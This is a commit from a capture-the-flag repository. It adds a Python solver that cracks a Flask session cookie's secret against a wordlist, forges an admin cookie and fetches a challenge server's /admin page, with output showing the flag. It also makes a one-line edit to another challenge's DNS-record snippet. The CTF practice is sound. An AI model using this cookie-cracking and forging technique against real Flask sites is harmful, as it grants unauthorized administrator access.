Skip to content

Commit dad776b

Browse files
committed
backdoor-ctf prelim
1 parent d246c84 commit dad776b

3 files changed

Lines changed: 242 additions & 1 deletion

File tree

72.6 KB
Binary file not shown.
Lines changed: 241 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,241 @@
1+
import hashlib
2+
import hmac
3+
import base64
4+
import json
5+
import sys
6+
import requests
7+
import time
8+
from flask import Flask
9+
from flask.sessions import SecureCookieSessionInterface
10+
11+
# ==========================================
12+
# 1. PASTE YOUR GUEST COOKIE STRING HERE
13+
# Run 'curl -v http://104.198.24.52:6011/' and copy the value.
14+
"""
15+
curl 'http://104.198.24.52:6011/' \
16+
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
17+
-H 'Accept-Language: en-US,en;q=0.9' \
18+
-H 'Connection: keep-alive' \
19+
-H 'Upgrade-Insecure-Requests: 1' \
20+
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36' \
21+
--insecure -vvv
22+
"""
23+
TARGET_COOKIE = "eyJyb2xlIjoidXNlciIsInVzZXIiOiJndWVzdCJ9.aTcwQg.qrNn08-0__PEydi0BhR6LCIOHfM"
24+
# ==========================================
25+
26+
WORDLIST_PATH = "/usr/share/wordlists/rockyou.txt"
27+
28+
def b64_encode(data):
29+
"""Urlsafe Base64 encode without padding"""
30+
return base64.urlsafe_b64encode(data).rstrip(b"=")
31+
32+
def derive_key(secret_key):
33+
"""Mimic Flask's default key derivation (HMAC-SHA1 with salt 'cookie-session')"""
34+
return hmac.new(secret_key.encode(), b"cookie-session", hashlib.sha1).digest()
35+
36+
def calculate_signature(secret_key, value):
37+
"""Calculate the signature for a given value"""
38+
key = derive_key(secret_key)
39+
sig = hmac.new(key, value.encode(), hashlib.sha1).digest()
40+
return b64_encode(sig).decode()
41+
42+
def crack(cookie, wordlist):
43+
print(f"[*] Cracking cookie signature...")
44+
45+
try:
46+
# Flask cookies are payload.timestamp.signature
47+
parts = cookie.split(".")
48+
if len(parts) != 3:
49+
print("[-] Error: Cookie format invalid. Must be payload.timestamp.sig")
50+
return None
51+
52+
# We need to match the signature of the first two parts
53+
unsigned_data = f"{parts[0]}.{parts[1]}"
54+
target_sig = parts[2]
55+
except Exception:
56+
print("[-] Error parsing cookie.")
57+
return None
58+
59+
# Try a small internal list first (in case rockyou is missing)
60+
fallback_list = ["secret", "flask", "admin", "password", "123456", "secret_key", "qwertyuiop"]
61+
62+
# Open wordlist safely
63+
f = None
64+
try:
65+
f = open(wordlist, "rb")
66+
iterator = f
67+
except FileNotFoundError:
68+
print(f"[!] {wordlist} not found. Using small fallback list.")
69+
iterator = [x.encode() for x in fallback_list]
70+
71+
for line in iterator:
72+
secret = line.strip().decode("utf-8", errors="ignore")
73+
if not secret: continue
74+
75+
# If our math matches the cookie's signature, we found the key
76+
if calculate_signature(secret, unsigned_data) == target_sig:
77+
print(f"\n[+] KEY FOUND: '{secret}'")
78+
if hasattr(f, 'close'): f.close()
79+
return secret
80+
81+
print("[-] Key not found in wordlist.")
82+
if f and hasattr(f, 'close'): f.close()
83+
return None
84+
85+
def forge(secret):
86+
# Challenge Logic: user must be the reverse of the secret key
87+
target_user = secret[::-1]
88+
89+
# 1. Create Payload
90+
new_data = {"user": target_user, "role": "admin"}
91+
print(f"[*] Forging payload: {new_data}")
92+
93+
# 2. Setup Dummy Flask App to borrow the signer
94+
# We use this to access the exact same signing logic the server uses
95+
app = Flask("forger")
96+
app.secret_key = secret
97+
98+
# 3. Generate the Cookie
99+
# This single line handles:
100+
# - JSON Serialization (with correct separators)
101+
# - Timestamp generation (in the correct binary+base64 format)
102+
# - HMAC-SHA1 Signing
103+
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
104+
final_cookie = serializer.dumps(new_data)
105+
106+
print(f"\n[+] FORGED ADMIN COOKIE:\n{final_cookie}")
107+
return final_cookie
108+
109+
def make_authenticated_request(target_url, cookie_value):
110+
"""
111+
Sends a GET request to the target URL using the provided cookie.
112+
113+
Args:
114+
target_url (str): The URL to request.
115+
cookie_value (str): The value of the session cookie.
116+
117+
Returns:
118+
str: The response text if successful, None otherwise.
119+
"""
120+
# 1. Define the cookies dictionary (replace 'JSESSIONID' with your actual cookie name)
121+
cookies = {
122+
'session': cookie_value.strip() # .strip() removes accidental newlines
123+
}
124+
125+
# 2. Add a User-Agent so we look like a real browser (often required)
126+
headers = {
127+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
128+
}
129+
130+
try:
131+
# 3. Make the request with a 10-second timeout
132+
print(f"[*] Sending request to {target_url}...")
133+
response = requests.get(target_url, cookies=cookies, headers=headers, timeout=10)
134+
135+
# 4. Check if the request was successful (200 OK)
136+
response.raise_for_status()
137+
138+
print(f"[+] Success! Status Code: {response.status_code}")
139+
return response.text
140+
141+
except requests.exceptions.HTTPError as http_err:
142+
print(f"[-] HTTP Error: {http_err}")
143+
except requests.exceptions.ConnectionError:
144+
print(f"[-] Connection Error: Could not reach {target_url}")
145+
except requests.exceptions.Timeout:
146+
print("[-] Request timed out.")
147+
except Exception as err:
148+
print(f"[-] An unexpected error occurred: {err}")
149+
150+
return None
151+
152+
if __name__ == "__main__":
153+
if "Paste_Your" in TARGET_COOKIE:
154+
print("[-] ERROR: Open the script and paste your cookie into TARGET_COOKIE first!")
155+
sys.exit()
156+
157+
key = crack(TARGET_COOKIE, WORDLIST_PATH)
158+
159+
if key:
160+
forged_key = forge(key)
161+
print(make_authenticated_request("http://104.198.24.52:6011/admin", forged_key))
162+
163+
164+
"""
165+
% python3 jwt_cracker.py
166+
[*] Cracking cookie signature...
167+
[!] /usr/share/wordlists/rockyou.txt not found. Using small fallback list.
168+
169+
[+] KEY FOUND: 'qwertyuiop'
170+
[*] Forging payload: {'user': 'poiuytrewq', 'role': 'admin'}
171+
172+
[+] FORGED ADMIN COOKIE:
173+
eyJ1c2VyIjoicG9pdXl0cmV3cSIsInJvbGUiOiJhZG1pbiJ9.aTdS4g.M0RXiXPnnVEK_1SIAhZlVLlxYjQ
174+
[*] Sending request to http://104.198.24.52:6011/admin...
175+
[+] Success! Status Code: 200
176+
<!doctype html>
177+
<html lang="en">
178+
<head>
179+
<meta charset="UTF-8" />
180+
<title>Admin Panel</title>
181+
<style>
182+
body {
183+
font-family: "Segoe UI", Tahoma, sans-serif;
184+
background: #f4f6f8;
185+
margin: 0;
186+
padding: 0;
187+
display: flex;
188+
justify-content: center;
189+
align-items: center;
190+
height: 100vh;
191+
}
192+
193+
.card {
194+
background: #ffffff;
195+
padding: 40px 50px;
196+
border-radius: 14px;
197+
box-shadow: 0 6px 20px rgba(0, 0, 0, 0.12);
198+
text-align: center;
199+
max-width: 480px;
200+
width: 90%;
201+
animation: fadein 0.4s ease-in-out;
202+
}
203+
204+
h1 {
205+
margin-bottom: 15px;
206+
color: #333;
207+
font-size: 28px;
208+
}
209+
210+
p {
211+
font-size: 18px;
212+
color: #444;
213+
margin: 0;
214+
word-break: break-all;
215+
}
216+
217+
.flag-box {
218+
background: #f9f9f9;
219+
padding: 15px;
220+
border-radius: 8px;
221+
border: 1px solid #ddd;
222+
font-family: "Courier New", monospace;
223+
margin-top: 12px;
224+
}
225+
226+
@keyframes fadein {
227+
from { opacity: 0; transform: translateY(6px); }
228+
to { opacity: 1; transform: translateY(0); }
229+
}
230+
</style>
231+
</head>
232+
<body>
233+
<div class="card">
234+
<h1>Admin Panel</h1>
235+
<p>Enjoy this cookie 🍪</p>
236+
<p><strong>Your Flag:</strong></p>
237+
<div class="flag-box">flag{y0u_l34rn3ed_flask_uns1gn_c0ok1e}</div>
238+
</div>
239+
</body>
240+
</html>
241+
"""

captureTheFlag/Web/sunshine2025/intergalacticWebhook/solve.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313
```
1414
(() => {
1515
// === CONFIG ===
16-
const recordUrl = 'https://my.ionos.com/edit-dns-record/<yourdomain>.com/1373846977';
16+
const recordUrl = 'https://my.ionos.com/edit-dns-record/<yourdomain>.com/147300846212';
1717
const ips = ['0.0.0.0', '142.250.73.142']; // flip between these
1818
const ttl = 60; // IONOS min TTL
1919
const forWwwSubdomain = false; // from your curl

0 commit comments

Comments
 (0)